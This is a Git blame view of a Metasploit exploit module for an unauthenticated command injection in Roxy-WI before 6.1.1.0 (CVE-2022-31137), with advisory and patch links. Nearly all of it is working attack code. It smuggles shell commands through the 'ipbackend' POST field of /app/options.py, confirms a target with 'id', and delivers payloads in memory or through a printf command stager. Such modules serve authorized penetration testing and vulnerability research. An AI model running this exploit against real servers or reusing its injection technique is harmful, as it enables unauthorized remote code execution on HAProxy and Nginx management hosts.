Files
metasploit-gs/modules/exploits/linux/http/roxy_wi_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

122 lines
3.9 KiB
Ruby
Raw Normal View History

2022-07-19 21:08:45 +03:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2022-07-21 11:39:58 +00:00
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
2022-07-19 21:08:45 +03:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',
'Description' => %q{
2022-07-25 16:05:20 +00:00
This module exploits an unauthenticated command injection vulnerability in Roxy-WI
prior to version 6.1.1.0. Successful exploitation results in remote code execution
2022-07-22 12:51:40 +00:00
under the context of the web server user.
2022-07-25 16:05:20 +00:00
2022-07-22 12:51:40 +00:00
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
},
'License' => MSF_LICENSE,
'Author' => [
'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module
2022-07-19 21:08:45 +03:00
],
'References' => [
2022-07-21 11:39:58 +00:00
['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory
['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information
2022-07-19 15:58:11 -05:00
['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
['CVE', '2022-31137']
2022-07-19 21:08:45 +03:00
],
'DefaultOptions' => {
2022-07-19 21:08:45 +03:00
'SSL' => true,
'WfsDelay' => 25
2022-07-19 21:08:45 +03:00
},
2022-07-25 16:05:20 +00:00
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :in_memory
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
}
]
],
'CmdStagerFlavor' => ['printf'],
2022-07-25 16:45:44 +00:00
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-07-06',
2022-07-19 15:58:11 -05:00
'Notes' => {
2022-07-21 11:39:58 +00:00
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
2022-07-19 15:58:11 -05:00
}
)
)
2022-07-19 21:08:45 +03:00
register_options(
[
Opt::RPORT(443),
2022-07-21 11:39:58 +00:00
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
2022-07-19 21:08:45 +03:00
]
)
end
2022-07-21 11:39:58 +00:00
def execute_command(cmd, _opts = {})
return send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
'vars_post' => {
'serv' => '127.0.0.1',
2022-07-22 12:51:40 +00:00
'ipbackend' => "\"; #{cmd} ;#",
2022-07-21 11:39:58 +00:00
'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
'backend_server' => '127.0.0.1'
}
}, 10
)
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
return nil
2022-07-21 11:39:58 +00:00
end
2022-07-19 21:08:45 +03:00
def check
print_status("Checking if #{peer} is vulnerable!")
2022-07-19 21:08:45 +03:00
2022-07-21 12:25:29 +00:00
res = execute_command('id')
2022-07-21 17:01:56 -05:00
return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res
2022-07-19 21:08:45 +03:00
if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
print_status("#{peer} is vulnerable!")
2022-07-19 21:08:45 +03:00
return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
elsif res.code == 200
return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
2022-07-25 16:05:20 +00:00
else
return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
2022-07-19 21:08:45 +03:00
end
end
def exploit
print_status('Exploiting...')
2022-07-25 16:05:20 +00:00
case target['Type']
when :in_memory
2022-07-22 12:51:40 +00:00
execute_command(payload.encoded)
2022-07-25 16:05:20 +00:00
when :dropper
execute_cmdstager
2022-07-19 21:08:45 +03:00
end
end
end